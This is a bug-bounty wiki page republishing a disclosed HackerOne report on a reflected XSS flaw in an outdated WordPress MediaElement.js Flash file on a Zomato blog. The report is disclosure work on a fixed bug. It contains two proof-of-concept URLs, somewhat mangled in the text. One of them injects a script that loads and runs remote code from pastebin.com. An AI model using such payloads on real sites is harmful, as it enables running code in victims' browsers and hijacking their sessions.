Skip to content
XSS Disclosed report Beginner

Outdated MediaElement.js Reflected Cross-Site Scripting (XSS)

The WordPress installation on business-blog.zomato.com was outdated (version 4.2.4) and contained a known reflected cross-site scripting vulnerability in the MediaElement.js Flash file. An attacker could craft a URL that executes arbitrary JavaScript in a victim's browser when visited.

mrtn Follow

Originally disclosed on HackerOne

  • Fixed in 10 months
  • Disclosed after 20 months

I took a quick look at the business-blog.zomato.com wordpress installation, and found that it was quite outdated. (Version 4.2.4 as far as I could tell)

A pretty famous XSS attack exists for Wordpress versions below 4.5.2 that allows for reflected cross site scripting. More details can be found here: https://wpvulndb.com/vulnerabilities/8488

A proof of concept can be found by visiting this link: https://business-blog.zomato.com/wp-includes/js/mediaelement/flashmediaelement.swf?jsinitfunctio%gn=alert1

Just for fun, this url should make the website play Harlem Shake: https://business-blog.zomato.com/wp-includes/js/mediaelement/flashmediaelement.swf?%%jsinitfunction=1-location.replacejavascript:eval%2528unescape%2528location.hash.slice%25281%2529%2529%2529-#s=document.createElement%28%27script%27%29;s.src=%27//pastebin.com/raw/Fi7KcBcd%27;document.body.appendChild%28s%29;//

The original report as published on HackerOne, by mrtn. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the outdated WordPress version included a vulnerable MediaElement.js Flash file that did not properly sanitise user input, allowing reflected cross-site scripting.

What the attacker needed

Victim clicks a crafted link

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

The site ran an old WordPress version with a known reflected XSS flaw. A crafted link could run harmful code in a visitor's browser.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More from Eternal

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.